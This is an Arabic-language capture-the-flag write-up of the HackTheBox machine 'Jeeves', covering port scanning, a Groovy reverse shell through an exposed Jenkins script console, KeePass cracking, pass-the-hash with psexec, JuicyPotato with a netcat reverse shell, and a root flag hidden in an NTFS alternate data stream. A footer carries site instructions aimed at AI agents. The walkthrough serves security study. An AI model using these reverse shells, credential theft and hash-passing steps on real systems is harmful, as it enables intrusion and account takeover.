> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/ar/writeups-ctf/hackthebox/windows-medium/jeeves-hackthebox-writeup.md).

# تقرير HackTheBox عن Jeeves

{% embed url="<https://app.hackthebox.com/machines/114>" %}

{% hint style="warning" %}
**المهارات:**

* استغلال Jenkins (وحدة تحكم Groovy Script)
* كسر KeePass
* Pass-the-Hash (Psexec)
* RottenPotato (SeImpersonatePrivilege)
* تيارات البيانات البديلة (ADS)
  {% endhint %}

## الاستطلاع

**إعداد مساحة العمل:**

سننشئ مساحة عملنا بإنشاء ثلاثة مجلدات لتخزين المحتوى المهم، والاستغلالات ونتائج الاستطلاع باستخدام Nmap

<figure><img src="/files/3111457cd5c57bcf4213dcaecfbe5c68106f93b7" alt="" width="563"><figcaption></figcaption></figure>

**فحص اتصال VPN**

تحقق من اتصال VPN لضمان تواصل مستقر مع الجهاز المستهدف.

<figure><img src="/files/997f3efd54eec8a595f12b40d1bd8599c7a4ff70" alt="" width="563"><figcaption></figcaption></figure>

**اكتشاف المنافذ المفتوحة باستخدام Nmap:**

قم بحصر المنافذ المفتوحة وتصدير النتائج إلى الملف "allPorts" في دليل Nmap:

```bash
nmap -p- --open -sS -n -Pn -vvv --min-rate 5000 10.10.10.63 -oG allPorts
```

<figure><img src="/files/cc7be14b70c26559e2232975fcaeb97d5d313afb" alt=""><figcaption></figcaption></figure>

**تحليل المنافذ المفتوحة باستخدام extractPorts:**

باستخدام الدالة extractPorts لعرض المنافذ المفتوحة بتنسيق مختصر ونسخها إلى الحافظة (80.135.445.50000)

<figure><img src="/files/d989fb6e48a2be890a41a75262559ebe9e4f3559" alt=""><figcaption></figcaption></figure>

**فحص إصدارات المنافذ باستخدام Nmap:**

استخدم Nmap لفحص إصدارات الخدمات وحفظ الناتج في الملف "targeted":

```bash
nmap -sCV -p80,135,445,50000 10.10.10.63 -oN targeted
```

<figure><img src="/files/b17304bcbaa79c08e4d79d2d948511155728074e" alt=""><figcaption></figcaption></figure>

### المنفذ 80 - HTTP

<figure><img src="/files/64379e38d946481feba830d3cb55e74faa3b7e2b" alt=""><figcaption></figcaption></figure>

منفذ HTTP يعيد التوجيه باستمرار إلى `error.html` الصفحة. لم يتم العثور على أي معلومات أخرى قابلة للاستخدام.

<figure><img src="/files/5e6d05babddfdcfc6523d9f149827ce1864fead5" alt=""><figcaption></figcaption></figure>

<figure><img src="/files/8bcf6f37f00aaa71ef09b0c9c8151766469c5a48" alt=""><figcaption></figcaption></figure>

### المنفذ 445 - SMB

نحاول سرد مشاركات SMB باستخدام `smbmap` و `smbclient`:

```bash
smbmap -H 10.10.10.63 -u 'null'
smbmap -H 10.10.10.63
```

```bash
smbclient -L 10.10.10.63 -N
```

ومع ذلك، تفشل الجلسة مع الخطأ التالي:

```
فشل إعداد الجلسة: NT_STATUS_ACCESS_DENIED
```

نستخدم `crackmapexec` لجمع معلومات الجهاز:

```bash
crackmapexec smb 10.10.10.63
```

النتيجة:

* **نظام التشغيل** : Windows 10 Pro 10586 x64
* **اسم الجهاز**: JEEVES
* **النطاق**: Jeeves

<figure><img src="/files/347fd61c63af895688c9b034124d571c8ec63a47" alt=""><figcaption></figcaption></figure>

### **المنفذ 50000 - Jenkins**

<figure><img src="/files/7160cae2c86b9013097db0a14047fc99bc019b10" alt=""><figcaption></figcaption></figure>

نُطلق فحصًا للمجلدات باستخدام `gobuster` لاستكشاف محتوى خدمة HTTP:

```bash
gobuster dir -u http://10.10.10.63:50000/ -w /usr/share/SecLists/Discovery/Web-Content/directory-list-2.3-medium.txt -t 200
```

نكتشف الدليل **/askjeeves**

<figure><img src="/files/92b9d3eca9691b83e0cef2bd555df9798a04e15e" alt=""><figcaption></figcaption></figure>

### CMS - Jenkins

<figure><img src="/files/520655fe15de229f4e10f63a7eb580665c19876f" alt=""><figcaption></figcaption></figure>

**Jenkins - تنفيذ سكربت Groovy**

يمكن الوصول إلى Jenkins CMS و **وحدة تحكم السكربت** الخيار مفعّل، مما يتيح لنا تشغيل سكربتات Groovy.

<figure><img src="/files/c354f251c4c7dc3bfde35e5f44c69e141a0b1987" alt=""><figcaption></figcaption></figure>

مثال على أمر لاختبار التنفيذ:

```groovy
println "ipconfig".execute().text
```

<figure><img src="/files/2602e182ef19912df35553198af7aebf40ce0d71" alt=""><figcaption></figcaption></figure>

### **الاستغلال**

#### **شل عكسي عبر Groovy Script Console**

للحصول على وصول عن بُعد، نتبع ما يلي:

1. /*/* نستمع على جهازنا على المنفذ 443/*/*:

```bash
rlwrap nc -nvlp 443
```

2. /*/* شغّل السكربت التالي في Groovy/*/* وحدة التحكم لإنشاء شل عكسي:

{% code overflow="wrap" %}

```groovy
String host="10.10.14.9";
int port=443;
String cmd="cmd.exe";
Process p=new ProcessBuilder(cmd).redirectErrorStream(true).start();Socket s=new Socket(host,port);InputStream pi=p.getInputStream(),pe=p.getErrorStream(), si=s.getInputStream();OutputStream po=p.getOutputStream(),so=s.getOutputStream();while(!s.isClosed()){while(pi.available()>0)so.write(pi.read());while(pe.available()>0)so.write(pe.read());while(si.available()>0)po.write(si.read());so.flush();po.flush();Thread.sleep(50);try {p.exitValue();break;}catch (Exception e){}};p.destroy();s.close();
```

{% endcode %}

<figure><img src="/files/e18cdfdfede89351ddeaad1c3805f06ed6aa28cb" alt=""><figcaption></figcaption></figure>

### الراية user.txt :)

<figure><img src="/files/64597184c2dd1fca516b86666662bfd7a87e5591" alt=""><figcaption></figcaption></figure>

## **تصعيد الامتيازات**

## **الطريقة 1: كسر ملف Keepass**

في **المستندات** مجلد المستخدم **Kosure**، نعثر على ملف بامتداد **.kdbx**  (ملف Keepass).

<figure><img src="/files/5256240919e890dbd5204810645347a98fbdb45d" alt=""><figcaption></figcaption></figure>

/*/* نقل ملف Keepass إلى جهازنا المضيف/*/*/ ننشئ خادم SMB من جهاز Linux الخاص بنا لنقل الملف. لهذا نستخدم `smbserver.py`:

```bash
smbserver.py share $(pwd) -smb2support
```

**النقل من Windows**/ من جهاز Windows، نقوم بنسخ **CEH.kdbx** الملف إلى جهازنا المضيف:

```powershell
copy C:/Users/kohsuke/Documents/CEH.kdbx //10.10.14.9/share/
```

<figure><img src="/files/209e04f1530ab322f5c5c422d8b6ad3fc0db6c30" alt=""><figcaption></figcaption></figure>

### **استخراج هاش ملف KDBX**

لاستخراج الهاش من ملف **KDBX** ، نستخدم **keepass2john** الأداة، والتي تعد جزءًا من **John the Ripper**:

```bash
keepass2john CEH.kdbx
```

<figure><img src="/files/741b1486b2deee88ea11694e191322b52d3fd1d9" alt=""><figcaption></figcaption></figure>

### **كسر الهاش**

نستخدم **John the Ripper** لإجراء هجوم brute force على الهاش المستخرج، باستخدام **قائمة كلمات مرور rockyou.txt**:

```bash
john --wordlist=/usr/share/wordlists/rockyou.txt hash
```

كلمة المرور المكتشفة هي:

* `moonshine1`

<figure><img src="/files/3beb37c0a25f527077adcd81792fe88908821f42" alt=""><figcaption></figcaption></figure>

### **عرض محتوى Keepass**

نستخدم **KeepassXC** لفتح وعرض محتوى **Keepass**

<figure><img src="/files/d9083a975da96f1ff1c96e7e3462cd40f4f5c2ea" alt=""><figcaption></figcaption></figure>

بعد إدخال **moonshine1** كلمة المرور، نصل إلى عدة كلمات مرور، بما في ذلك هاش NTLM v2 للمستخدم **Administrator**:

<figure><img src="/files/d9083a975da96f1ff1c96e7e3462cd40f4f5c2ea" alt=""><figcaption></figcaption></figure>

```bash
aad3b435b51404eeaad3b435b51404ee:e0fb1fb85756c24235ff238cbe81fe00
```

#### /*/* مراجعة هاش NTLM v2 باستخدام CrackMapExec/*/*

نتحقق مما إذا كان الهاش يطابق حسابًا **Administrator** بـ **CrackMapExec**:

```bash
crackmapexec smb 10.10.10.63 -u 'Administrator' -H 'aad3b435b51404eeaad3b435b51404ee:e0fb1fb85756c24235ff238cbe81fe00'
```

الهاش صالح، ويمكننا الآن تنفيذ هجوم **Pass-the-Hash**.

<div data-full-width="true"><figure><img src="/files/b05b4cf6bc74942553a1dc0e2be9dfe001061fbf" alt=""><figcaption></figcaption></figure></div>

### **Pass-the-Hash - PsExec**

نستخدم **PsExec** للاتصال بالجهاز الهدف باستخدام NTLM v2 المكتشف. يمنحنا هذا صلاحيات إدارية

```bash
psexec.py WORKGROUP/Administrator@10.10.10.63 -hashes :e0fb1fb85756c24235ff238cbe81fe00
```

لدينا الآن وصول كامل بصلاحيات المدير.

<figure><img src="/files/338c3c86db533ef27126b0e20edc69ce46e8926f" alt=""><figcaption></figcaption></figure>

## **الطريقة 2: استغلال امتياز SeImpersonatePrivilege**

وجدنا أن المستخدم يمتلك `SeImpersonatePrivilege` الامتياز، مما يجعله عرضة لبعض تقنيات تصعيد الصلاحيات. يؤكد الأمر أدناه وجود هذا الامتياز:

```bash
whoami /priv
```

<figure><img src="/files/b824ffd44aac7aaf0da34a7bd23125cb0cabdbd2" alt=""><figcaption></figcaption></figure>

لاستغلال هذه الثغرة، سنستخدم **JuicyPotato**، وهي أداة معروفة لاستغلال هذا الامتياز في بيئة Windows.

**تنزيل الأدوات المطلوبة**

{% embed url="<https://github.com/ohpe/juicy-potato/releases/tag/v0.1>" %}

{% embed url="<https://eternallybored.org/misc/netcat/>" %}

**ابدأ خادم SmbFolder** على جهاز الهجوم الخاص بنا لتقديم الملفات:

```bash
smbserver.py share $(pwd) -smb2support
```

**نقل الملفات إلى الجهاز الهدف** باستخدام `Invoke-WebRequest`:

<pre class="language-powershell"><code class="lang-powershell"><strong>copy //10.10.14.9/share/JP.exe
</strong>copy //10.10.14.9/share/nc64.exe
</code></pre>

<figure><img src="/files/75b2cf29afb55d6a2a59b0f6d622157ca07754e2" alt=""><figcaption></figcaption></figure>

**تنفيذ JuicyPotato لتصعيد الامتياز**

سنقوم الآن بتشغيل JuicyPotato للحصول على جلسة بصلاحيات مرتفعة. يشغّل الأمر التالي JuicyPotato، والذي يشغّل `cmd.exe` بامتيازات عالية ويبدأ اتصالًا بجهاز الهجوم الخاص بنا عبر Netcat:

```powershell
./JP.exe -t * -l 1337 -p C:/Windows/System32/cmd.exe -a "/c C:/Windows/Temp/privesc/nc64.exe -e cmd 10.10.14.9 1234"
```

**تسجيل الدخول إلى جلسة مرتفعة**

لالتقاط الاتصال، نستمع إلى المنفذ 1234:

```bash
rlwrap nc -nvlp 1234
```

<figure><img src="/files/ed4269970be74491ccc6d986e029a0d59c838de0" alt=""><figcaption></figcaption></figure>

## علم الجذر - ADS

> تيارات البيانات البديلة (ADS) هي ميزة في **NTFS** أنظمة الملفات في Windows التي تتيح ربط عدة تيارات بيانات بملف واحد. قد تحتوي هذه التيارات الإضافية على معلومات مخفية غير مرئية أثناء فحص الملف التقليدي. سنستخدم هذه الميزة لاكتشاف **علم الجذر**.

<figure><img src="/files/ab7316ddad0c1fca10a17f62dda86b9944cea98b" alt=""><figcaption></figcaption></figure>

#### **1. فحص تيارات البيانات البديلة (ADS)**

نبدأ بالتحقق مما إذا كان **hm.txt** الملف الموجود على سطح مكتب المستخدم **Administrator** يحتوي على تيارات بيانات بديلة. للقيام بذلك، نستخدم الأمر التالي:

```bash
dir /r C:/Users/Administrator/Desktop/hm.txt
```

يسرد هذا الأمر جميع تيارات البيانات البديلة المرتبطة بـ **hm.txt** الملف. إذا كان هناك تدفق بيانات بديل، فسيظهر.

<figure><img src="/files/48ad028a599bfa543cccd398629e71104889882f" alt=""><figcaption></figcaption></figure>

#### **2. عرض محتوى تيار بيانات بديل**

إذا وجدنا تيار بيانات بديلًا مرتبطًا بالملف، يمكننا عرض محتواه بالأمر التالي:

```powershell
more < C:/Users/Administrator/Desktop/hm.txt:root.txt
```

يتيح لنا هذا قراءة محتوى **root.txt** التيار واستعادة **علم الجذر :)**

<figure><img src="/files/c9fc58728c0e2623baa86b18d90915f0e7e4011e" alt=""><figcaption></figcaption></figure>

<figure><img src="/files/19b216cde7ece24c0992df952b6ea8b26b143571" alt="" width="524"><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://hacking-notes.jord4n.pro/ar/writeups-ctf/hackthebox/windows-medium/jeeves-hackthebox-writeup.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
